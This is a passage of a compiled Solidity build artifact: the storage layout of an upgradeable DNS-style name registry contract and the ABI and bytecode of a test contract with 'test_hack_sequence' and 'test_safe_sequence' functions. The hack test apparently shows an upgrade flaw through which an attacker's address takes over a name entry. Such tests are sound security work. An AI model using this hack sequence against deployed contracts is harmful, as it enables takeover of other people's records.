\"label\\\":\\\"upgrades\\\",\\\"offset\\\":0,\\\"slot\\\":\\\"0\\\",\\\"type\\\":\\\"t_array(t_struct(UpgradeConfig)1740_storage)dyn_storage\\\"},{\\\"astId\\\":13,\\\"contract\\\":\\\"src/DNS.sol:DNS\\\",\\\"label\\\":\\\"data\\\",\\\"offset\\\":0,\\\"slot\\\":\\\"1\\\",\\\"type\\\":\\\"t_mapping(t_string_memory_ptr,t_struct(Entry)1425_storage)\\\"}],\\\"types\\\":{\\\"t_address\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"address\\\",\\\"numberOfBytes\\\":\\\"20\\\"},\\\"t_array(t_struct(UpgradeConfig)1740_storage)dyn_storage\\\":{\\\"base\\\":\\\"t_struct(UpgradeConfig)1740_storage\\\",\\\"encoding\\\":\\\"dynamic_array\\\",\\\"label\\\":\\\"struct Upgrade.UpgradeConfig[]\\\",\\\"numberOfBytes\\\":\\\"32\\\"},\\\"t_bytes4\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"bytes4\\\",\\\"numberOfBytes\\\":\\\"4\\\"},\\\"t_contract(IDNS)1462\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"contract IDNS\\\",\\\"numberOfBytes\\\":\\\"20\\\"},\\\"t_enum(Opt)1731\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"enum Upgrade.Opt\\\",\\\"numberOfBytes\\\":\\\"1\\\"},\\\"t_mapping(t_address,t_enum(Opt)1731)\\\":{\\\"encoding\\\":\\\"mapping\\\",\\\"key\\\":\\\"t_address\\\",\\\"label\\\":\\\"mapping(address => enum Upgrade.Opt)\\\",\\\"numberOfBytes\\\":\\\"32\\\",\\\"value\\\":\\\"t_enum(Opt)1731\\\"},\\\"t_mapping(t_string_memory_ptr,t_struct(Entry)1425_storage)\\\":{\\\"encoding\\\":\\\"mapping\\\",\\\"key\\\":\\\"t_string_memory_ptr\\\",\\\"label\\\":\\\"mapping(string => struct IDNS.Entry)\\\",\\\"numberOfBytes\\\":\\\"32\\\",\\\"value\\\":\\\"t_struct(Entry)1425_storage\\\"},\\\"t_string_memory_ptr\\\":{\\\"encoding\\\":\\\"bytes\\\",\\\"label\\\":\\\"string\\\",\\\"numberOfBytes\\\":\\\"32\\\"},\\\"t_struct(Entry)1425_storage\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"struct IDNS.Entry\\\",\\\"members\\\":[{\\\"astId\\\":1422,\\\"contract\\\":\\\"src/DNS.sol:DNS\\\",\\\"label\\\":\\\"ip\\\",\\\"offset\\\":0,\\\"slot\\\":\\\"0\\\",\\\"type\\\":\\\"t_bytes4\\\"},{\\\"astId\\\":1424,\\\"contract\\\":\\\"src/DNS.sol:DNS\\\",\\\"label\\\":\\\"owner\\\",\\\"offset\\\":4,\\\"slot\\\":\\\"0\\\",\\\"type\\\":\\\"t_address\\\"}],\\\"numberOfBytes\\\":\\\"32\\\"},\\\"t_struct(UpgradeConfig)1740_storage\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"struct Upgrade.UpgradeConfig\\\",\\\"members\\\":[{\\\"astId\\\":1735,\\\"contract\\\":\\\"src/DNS.sol:DNS\\\",\\\"label\\\":\\\"userOpt\\\",\\\"offset\\\":0,\\\"slot\\\":\\\"0\\\",\\\"type\\\":\\\"t_mapping(t_address,t_enum(Opt)1731)\\\"},{\\\"astId\\\":1737,\\\"contract\\\":\\\"src/DNS.sol:DNS\\\",\\\"label\\\":\\\"when\\\",\\\"offset\\\":0,\\\"slot\\\":\\\"1\\\",\\\"type\\\":\\\"t_uint256\\\"},{\\\"astId\\\":1739,\\\"contract\\\":\\\"src/DNS.sol:DNS\\\",\\\"label\\\":\\\"to\\\",\\\"offset\\\":0,\\\"slot\\\":\\\"2\\\",\\\"type\\\":\\\"t_contract(IDNS)1462\\\"}],\\\"numberOfBytes\\\":\\\"96\\\"},\\\"t_uint256\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"uint256\\\",\\\"numberOfBytes\\\":\\\"32\\\"}}}\"},\"src/DNSTest.t.sol:DNSTest\":{\"abi\":\"[{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"target\\\",\\\"type\\\":\\\"address\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bool\\\",\\\"name\\\":\\\"exact\\\",\\\"type\\\":\\\"bool\\\"}],\\\"name\\\":\\\"eventListener\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bytes32\\\"}],\\\"name\\\":\\\"log_bytes32\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"log_named_address\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"bytes32\\\"}],\\\"name\\\":\\\"log_named_bytes32\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"int256\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"int256\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"decimals\\\",\\\"type\\\":\\\"uint256\\\"}],\\\"name\\\":\\\"log_named_decimal_int\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"uint256\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"decimals\\\",\\\"type\\\":\\\"uint256\\\"}],\\\"name\\\":\\\"log_named_decimal_uint\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"int256\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"int256\\\"}],\\\"name\\\":\\\"log_named_int\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"string\\\"}],\\\"name\\\":\\\"log_named_string\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"uint256\\\"}],\\\"name\\\":\\\"log_named_uint\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bytes\\\"}],\\\"name\\\":\\\"logs\\\",\\\"type\\\":\\\"event\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"IS_TEST\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bool\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bool\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"failed\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bool\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bool\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"setUp\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"test_hack_sequence\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"test_safe_sequence\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"}]\",\"bin\":\"608060405234801561001057600080fd5b5060016000806101000a81548160ff02191690831515021790555061a5e9806200003b6000396000f3fe60806040523480156200001157600080fd5b50600436106200005e5760003560e01c80630a9254e41462000063578063180428c0146200006f578063538d1c33146200007b578063ba414fa61462000087578063fa7626d414620000a9575b600080fd5b6200006d620000cb565b005b62000079620000d7565b005b6200008562000f11565b005b6200009162002f86565b604051620000a0919062003a3b565b60405180910390f35b620000b362002f99565b604051620000c2919062003a3b565b60405180910390f35b620000d562002faa565b565b60606040518060400160405280600581526020017f612e65746800000000000000000000000000000000000000000000000000000081525090506000630102030460e01b905060606040518060400160405280600581526020017f622e65746800000000000000000000000000000000000000000000000000000081525090506000630506070860e01b905060008060066000600481106200017557fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639be1238f87876040518363ffffffff1660e01b8152600401620001d392919062003b5a565b600060405180830381600087803b158015620001ee57600080fd5b505af115801562000203573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478876040518263ffffffff1660e01b815260040162000264919062003b36565b604080518083038186803b1580156200027c57600080fd5b505afa15801562000291573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b791906200389d565b809250819350505062000309827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916867bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b620003458160066000600481106200031d57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b60066001600481106200035457fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639be1238f85856040518363ffffffff1660e01b8152600401620003b292919062003b5a565b600060405180830381600087803b158015620003cd57600080fd5b505af1158015620003e2573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478856040518263ffffffff1660e01b815260040162000443919062003b36565b604080518083038186803b1580156200045b57600080fd5b505afa15801562000470573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200049691906200389d565b8092508193505050620004e8827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b62000524816006600160048110620004fc57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166327557157603c4201600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401620005a892919062003c4a565b600060405180830381600087803b158015620005c357600080fd5b505af1158015620005d8573d6000803e3d6000fd5b505050506200068a600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d2ac7a5f6040518163ffffffff1660e01b815260040160206040518083038186803b1580156200064957600080fd5b505afa1580156200065e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000684919062003830565b620036f8565b60066000600481106200069957fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b48684e6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156200070357600080fd5b505af115801562000718573d6000803e3d6000fd5b5050505060066002600481106200072b57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b48684e6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156200079557600080fd5b505af1158015620007aa573d6000803e3d6000fd5b50505050600060029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e5d6bf02600a6040518263ffffffff1660e01b81526004016200080c919062003abf565b600060405180830381600087803b1580156200082757600080fd5b505af11580156200083c573d6000803e3d6000fd5b5050505060066002600481106200084f57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d4eec5a66040518163ffffffff1660e01b8152600401600060405180830381600087803b158015620008b957600080fd5b505af1158015620008ce573d6000803e3d6000fd5b505050506006600360048110620008e157fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b48684e6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156200094b57600080fd5b505af115801562000960573d6000803e3d6000fd5b50505050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166355f291666040518163ffffffff1660e01b8152600401600060405180830381600087803b158015620009cf57600080fd5b505af1158015620009e4573d6000803e3d6000fd5b5050505062000a97600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d2ac7a5f6040518163ffffffff1660e01b815260040160206040518083038186803b15801562000a5557600080fd5b505afa15801562000a6a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000a90919062003830565b15620036f8565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632755715760014201600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b815260040162000b1b92919062003c4a565b600060405180830381600087803b15801562000b3657600080fd5b505af115801562000b4b573d6000803e3d6000fd5b5050505062000bfd600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d2ac7a5f6040518163ffffffff1660e01b815260040160206040518083038186803b15801562000bbc57600080fd5b505afa15801562000bd1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000bf7919062003830565b620036f8565b600060029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e5d6bf0260646040518263ffffffff1660e01b815260040162000c5b919062003aa2565b600060405180830381600087803b15801562000c7657600080fd5b505af115801562000c8b573d6000803e3d6000fd5b5050505062000d3e600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d2ac7a5f6040518163ffffffff1660e01b815260040160206040518083038186803b15801562000cfc57600080fd5b505afa15801562000d11573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000d37919062003830565b15620036f8565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d554b2f6876313371337306040518463ffffffff1660e01b815260040162000da39392919062003bc2565b600060405180830381600087803b15801562000dbe57600080fd5b505af115801562000dd3573d6000803e3d6000fd5b50505050600660006004811062000de657fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478876040518263ffffffff1660e01b815260040162000e42919062003b36565b604080518083038186803b15801562000e5a57600080fd5b505afa15801562000e6f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000e9591906200389d565b809250819350505062000ed0631337133760e01b837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614620036f8565b62000f093073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614620036f8565b505050505050565b60606040518060400160405280600581526020017f612e65746800000000000000000000000000000000000000000000000000000081525090506000630102030460e01b905060606040518060400160405280600581526020017f622e65746800000000000000000000000000000000000000000000000000000081525090506000630506070860e01b9050600080600660006004811062000faf57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639be1238f87876040518363ffffffff1660e01b81526004016200100d92919062003b5a565b600060405180830381600087803b1580156200102857600080fd5b505af11580156200103d573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478876040518263ffffffff1660e01b81526004016200109e919062003b36565b604080518083038186803b158015620010b657600080fd5b505afa158015620010cb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620010f191906200389d565b809250819350505062001143827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916867bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b6200117f8160066000600481106200115757fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b60066001600481106200118e57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639be1238f85856040518363ffffffff1660e01b8152600401620011ec92919062003b5a565b600060405180830381600087803b1580156200120757600080fd5b505af11580156200121c573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478856040518263ffffffff1660e01b81526004016200127d919062003b36565b604080518083038186803b1580156200129557600080fd5b505afa158015620012aa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620012d091906200389d565b809250819350505062001322827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b6200135e8160066001600481106200133657fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166327557157603c4201600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401620013e292919062003c4a565b600060405180830381600087803b158015620013fd57600080fd5b505af115801562001412573d6000803e3d6000fd5b50505050620014c4600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d2ac7a5f6040518163ffffffff1660e01b815260040160206040518083038186803b1580156200148357600080fd5b505afa15801562001498573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620014be919062003830565b620036f8565b6006600060048110620014d357fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b48684e6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156200153d57600080fd5b505af115801562001552573d6000803e3d6000fd5b5050505060066002600481106200156557fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b48684e6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015620015cf57600080fd5b505af1158015620015e4573d6000803e3d6000fd5b50505050600060029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e5d6bf02600a6040518263ffffffff1660e01b815260040162001646919062003abf565b600060405180830381600087803b1580156200166157600080fd5b505af115801562001676573d6000803e3d6000fd5b5050505060066002600481106200168957fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d4eec5a66040518163ffffffff1660e01b8152600401600060405180830381600087803b158015620016f357600080fd5b505af115801562001708573d6000803e3d6000fd5b5050505060066003600481106200171b57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b48684e6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156200178557600080fd5b505af11580156200179a573d6000803e3d6000fd5b50505050600060029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e5d6bf0260466040518263ffffffff1660e01b8152600401620017fc919062003b19565b600060405180830381600087803b1580156200181757600080fd5b505af11580156200182c573d6000803e3d6000fd5b50505050620018df600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d2ac7a5f6040518163ffffffff1660e01b815260040160206040518083038186803b1580156200189d57600080fd5b505afa158015620018b2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620018d8919062003830565b15620036f8565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166390b60de960066000600481106200192f57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016200196f919062003a1e565b604080518083038186803b1580156200198757600080fd5b505afa1580156200199c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620019c291906200385c565b8092508193505050620019d582620036f8565b62001a0381600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166390b60de9600660016004811062001a5057fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040162001a90919062003a1e565b604080518083038186803b15801562001aa857600080fd5b505afa15801562001abd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001ae391906200385c565b809250819350505062001af78215620036f8565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166390b60de9600660026004811062001b4457fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040162001b84919062003a1e565b604080518083038186803b15801562001b9c57600080fd5b505afa15801562001bb1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001bd791906200385c565b809250819350505062001beb8215620036f8565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166390b60de9600660036004811062001c3857fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040162001c78919062003a1e565b604080518083038186803b15801562001c9057600080fd5b505afa15801562001ca5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001ccb91906200385c565b809250819350505062001cde82620036f8565b60606040518060400160405280600581526020017f632e6574680000000000000000000000000000000000000000000000000000008152509050600063090a0b0c60e01b905060606040518060400160405280600581526020017f642e65746800000000000000000000000000000000000000000000000000000081525090506000630d0e0f0f60e01b9050600660006004811062001d7957fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639be1238f85856040518363ffffffff1660e01b815260040162001dd792919062003b5a565b600060405180830381600087803b15801562001df257600080fd5b505af115801562001e07573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478856040518263ffffffff1660e01b815260040162001e68919062003b36565b604080518083038186803b15801562001e8057600080fd5b505afa15801562001e95573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001ebb91906200389d565b809850819950505062001ef1887bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166000801b62003448565b62001efe87600062003574565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478856040518263ffffffff1660e01b815260040162001f5b919062003b36565b604080518083038186803b15801562001f7357600080fd5b505afa15801562001f88573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001fae91906200389d565b809850819950505062002000887bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b6200203c8760066000600481106200201457fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b60066000600481106200204b57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478856040518263ffffffff1660e01b8152600401620020a7919062003b36565b604080518083038186803b158015620020bf57600080fd5b505afa158015620020d4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620020fa91906200389d565b80985081995050506200214c887bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b620021888760066000600481106200216057fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b60066000600481106200219757fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639be1238f83836040518363ffffffff1660e01b8152600401620021f592919062003b5a565b600060405180830381600087803b1580156200221057600080fd5b505af115801562002225573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478836040518263ffffffff1660e01b815260040162002286919062003b36565b604080518083038186803b1580156200229e57600080fd5b505afa158015620022b3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620022d991906200389d565b80985081995050506200230f887bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166000801b62003448565b6200231c87600062003574565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478836040518263ffffffff1660e01b815260040162002379919062003b36565b604080518083038186803b1580156200239157600080fd5b505afa158015620023a6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620023cc91906200389d565b80985081995050506200241e887bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b6200245a8760066000600481106200243257fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b60066000600481106200246957fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478836040518263ffffffff1660e01b8152600401620024c5919062003b36565b604080518083038186803b158015620024dd57600080fd5b505afa158015620024f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200251891906200389d565b80985081995050506200256a887bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b620025a68760066000600481106200257e57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b6006600160048110620025b557fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639be1238f83836040518363ffffffff1660e01b81526004016200261392919062003b5a565b600060405180830381600087803b1580156200262e57600080fd5b505af115801562002643573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478836040518263ffffffff1660e01b8152600401620026a4919062003b36565b604080518083038186803b158015620026bc57600080fd5b505afa158015620026d1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620026f791906200389d565b809850819950505062002749887bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b620027858760066001600481106200275d57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b60066001600481106200279457fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478836040518263ffffffff1660e01b8152600401620027f0919062003b36565b604080518083038186803b1580156200280857600080fd5b505afa1580156200281d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200284391906200389d565b809850819950505062002895887bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b620028d1876006600160048110620028a957fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478836040518263ffffffff1660e01b81526004016200292e919062003b36565b604080518083038186803b1580156200294657600080fd5b505afa1580156200295b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200298191906200389d565b8098508199505050620029d3887bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b62002a0f876006600060048110620029e757fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b600063cafecafe60e01b9050600660006004811062002a2a57fe5b0160009054906101000